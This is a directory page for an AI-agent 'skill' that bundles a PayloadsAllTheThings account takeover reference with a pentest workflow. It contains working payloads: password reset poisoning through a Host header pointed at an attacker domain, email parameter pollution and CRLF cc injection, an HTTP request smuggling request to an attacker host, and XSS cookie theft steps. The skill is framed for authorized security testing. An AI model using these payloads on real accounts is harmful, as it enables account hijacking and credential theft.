SuperAPI AI Directory

payloads-ato

Security & auditing

View repository

Updated 11-10 16:20

About this skill

Account Takeover Payloads

Source: PayloadsAllTheThings/Account Takeover Category: payloads-web | Skill ID: payloads-ato

Overview

Account takeover payloads and methodology for password reset abuse, session fixation, and more.

This skill integrates the full PayloadsAllTheThings (PATT) payload library for the Account Takeover Payloads domain into the REA_Skill framework. Use it during authorized penetration testing, bug bounty research, security audits, and CTF challenges.

Workflow

1. Recon & Identification

  • Identify the target technology stack and injection points
  • Enumerate endpoints, parameters, and input vectors
  • Determine applicable payload categories from the reference below

2. Payload Selection

  • Browse the PATT payload library for the attack class
  • Select encoding-appropriate payloads for the target environment
  • Consider WAF bypass variants and obfuscation techniques

3. Exploitation (Authorized Only)

  • Test payloads in order: passive → active → escalation
  • Document every payload tested and its response
  • Capture PoC evidence (screenshots, HTTP logs, curl output)

4. Verification & Reporting

  • Confirm the vulnerability with a clean minimal PoC
  • Map findings to CVE/CWE where applicable
  • Report with remediation recommendations and code fixes

Full PATT Reference

Account Takeover

Account Takeover (ATO) is a significant threat in the cybersecurity landscape, involving unauthorized access to users' accounts through various attack vectors.

Summary

  • Password Reset Feature
    • Password Reset Token Leak via Referrer
    • Account Takeover Through Password Reset Poisoning
    • Password Reset via Email Parameter
    • IDOR on API Parameters
    • Weak Password Reset Token
    • Leaking Password Reset Token
    • Password Reset via Username Collision
    • Account Takeover Due To Unicode Normalization Issue
  • Account Takeover via Web Vulnerabilities
    • Account Takeover via Cross Site Scripting
    • Account Takeover via HTTP Request Smuggling
    • Account Takeover via CSRF
  • References

Password Reset Feature

Password Reset Token Leak via Referrer

  1. Request password reset to your email address
  2. Click on the password reset link
  3. Don't change password
  4. Click any 3rd party websites(e.g., Facebook, twitter)
  5. Intercept the request in Burp Suite proxy
  6. Check if the referer header is leaking password reset token.

Account Takeover Through Password Reset Poisoning

  1. Intercept the password reset request in Burp Suite

  2. Add or edit the following headers in Burp Suite : Host: [ATTACKER.DOMAIN.TLD], X-Forwarded-Host: [ATTACKER.DOMAIN.TLD]

  3. Forward the request with the modified header

    POST https://example.com/reset.php HTTP/1.1
    Accept: */*
    Content-Type: application/json
    Host: [ATTACKER.DOMAIN.TLD]
    
  4. Look for a password reset URL based on the host header like : https://[ATTACKER.DOMAIN.TLD]/reset-password.php?token=TOKEN

Password Reset via Email Parameter

# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR on API Parameters

  1. Attacker have to login with their account and go to the Change password feature.

  2. Start the Burp Suite and Intercept the request

  3. Send it to the repeater tab and edit the parameters : User ID/email

    POST /api/changepass
    [...]
    ("form": {"email":"victim@email.com","password":"securepwd"})
    

Weak Password Reset Token

The password reset token should be randomly generated and unique every time. Try to determine if the token expire or if it's always the same, in some cases the generation algorithm is weak and can be guessed. The following variables might be used by the algorithm.

  • Timestamp
  • UserID
  • Email of User
  • Firstname and Lastname
  • Date of Birth
  • Cryptography
  • Number only
  • Small token sequence (<6 characters between [A-Z,a-z,0-9])
  • Token reuse
  • Token expiration date

Leaking Password Reset Token

  1. Trigger a password reset request using the API/UI for a specific email e.g: test@mail.com
  2. Inspect the server response and check for resetToken
  3. Then use the token in an URL like https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Password Reset via Username Collision

  1. Register on the system with a username identical to the victim's username, but with white spaces inserted before and/or after the username. e.g: "admin "
  2. Request a password reset with your malicious username.
  3. Use the token sent to your email and reset the victim password.
  4. Connect to the victim account with the new password.

The platform CTFd was vulnerable to this attack. See: CVE-2020-7245

Account Takeover Due To Unicode Normalization Issue

When processing user input involving unicode for case mapping or normalisation, unexpected behavior can occur.

  • Victim account: demo@gmail.com
  • Attacker account: demⓞ@gmail.com

Unisub - is a tool that can suggest potential unicode characters that may be converted to a given character.

Unicode pentester cheatsheet can be used to find list of suitable unicode characters based on platform.

Account Takeover via Web Vulnerabilities

Account Takeover via Cross Site Scripting

  1. Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain : *.domain.com
  2. Leak the current sessions cookie
  3. Authenticate as the user using the cookie

Account Takeover via HTTP Request Smuggling

Refer to HTTP Request Smuggling vulnerability page.

  1. Use smuggler to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)

    git clone https://github.com/defparam/smuggler.git
    cd smuggler
    python3 smuggler.py -h
    
  2. Craft a request which will overwrite the POST / HTTP/1.1 with the following data:

    GET http://[ATTACKER.DOMAIN.TLD]  HTTP/1.1
    X: 
    
  3. Final request could look like the following

    GET /  HTTP/1.1
    Transfer-Encoding: chunked
    Host: something.com
    User-Agent: Smuggler/v1.0
    Content-Length: 83
    
    0
    
    GET http://[ATTACKER.DOMAIN.TLD]  HTTP/1.1
    X: X
    

Hackerone reports exploiting this bug

Account Takeover via CSRF

  1. Create a payload for the CSRF, e.g: "HTML form with auto submit for a password change"
  2. Send the payload

Account Takeover via JWT

JSON Web Token might be used to authenticate a user.

  • Edit the JWT with another User ID / Email
  • Check for weak JWT signature

References


REA MCP Integration

// REA MCP — Automated payload injection via REA tools
// Use analyze_function, procedure_pseudo_code, or observe_native_calls
// to identify injection sinks, then apply payloads from this skill.

Legal Notice

⚠️ Authorized Use Only. All payloads in this skill are for security research, penetration testing with written permission, CTF competitions, and defensive study. Unauthorized use against systems you do not own or have explicit permission to test is illegal.